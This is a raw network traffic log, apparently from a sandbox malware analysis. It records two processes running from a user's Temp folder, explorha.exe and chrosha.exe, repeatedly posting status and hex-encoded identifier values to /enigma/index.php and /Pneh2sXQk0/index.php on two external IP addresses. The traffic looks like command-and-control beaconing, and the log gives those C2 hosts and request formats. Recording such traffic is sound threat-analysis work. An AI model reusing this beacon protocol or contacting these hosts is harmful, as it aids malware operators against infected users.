Apr 19, 2024 03:34:22.399734020 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:22.645073891 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
958	192.168.2.5	50809	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:22.661086082 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:22.914602995 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
959	192.168.2.5	50810	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:22.893455982 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:23.141645908 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
960	192.168.2.5	50811	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:23.273309946 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:23.516922951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
961	192.168.2.5	50812	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:23.487164974 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:23.728092909 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
962	192.168.2.5	50813	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:23.775243044 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:24.027697086 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
963	192.168.2.5	50814	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:23.991250038 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:24.246453047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
964	192.168.2.5	50815	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:24.379095078 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:24.619643927 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
965	192.168.2.5	50816	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:24.612878084 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:24.861007929 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
966	192.168.2.5	50817	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:24.875261068 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:25.127940893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
967	192.168.2.5	50818	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:25.119321108 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:25.375372887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
968	192.168.2.5	50819	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:25.495364904 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:25.743014097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
969	192.168.2.5	50821	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:25.743024111 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:25.990389109 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
970	192.168.2.5	50822	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:25.994538069 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:26.246619940 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
971	192.168.2.5	50823	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:26.347805977 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:26.591861963 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
972	192.168.2.5	50824	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:26.603172064 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:26.851655960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
973	192.168.2.5	50825	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:26.839293003 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:27.088978052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
974	192.168.2.5	50826	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:27.104207039 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:27.356904030 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
975	192.168.2.5	50827	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:27.209022999 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:27.452063084 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
976	192.168.2.5	50828	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:27.704478979 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:27.959950924 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
977	192.168.2.5	50829	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:27.707828999 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:27.952761889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
978	192.168.2.5	50830	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:28.201654911 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:28.451560020 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
979	192.168.2.5	50831	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:28.318681955 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
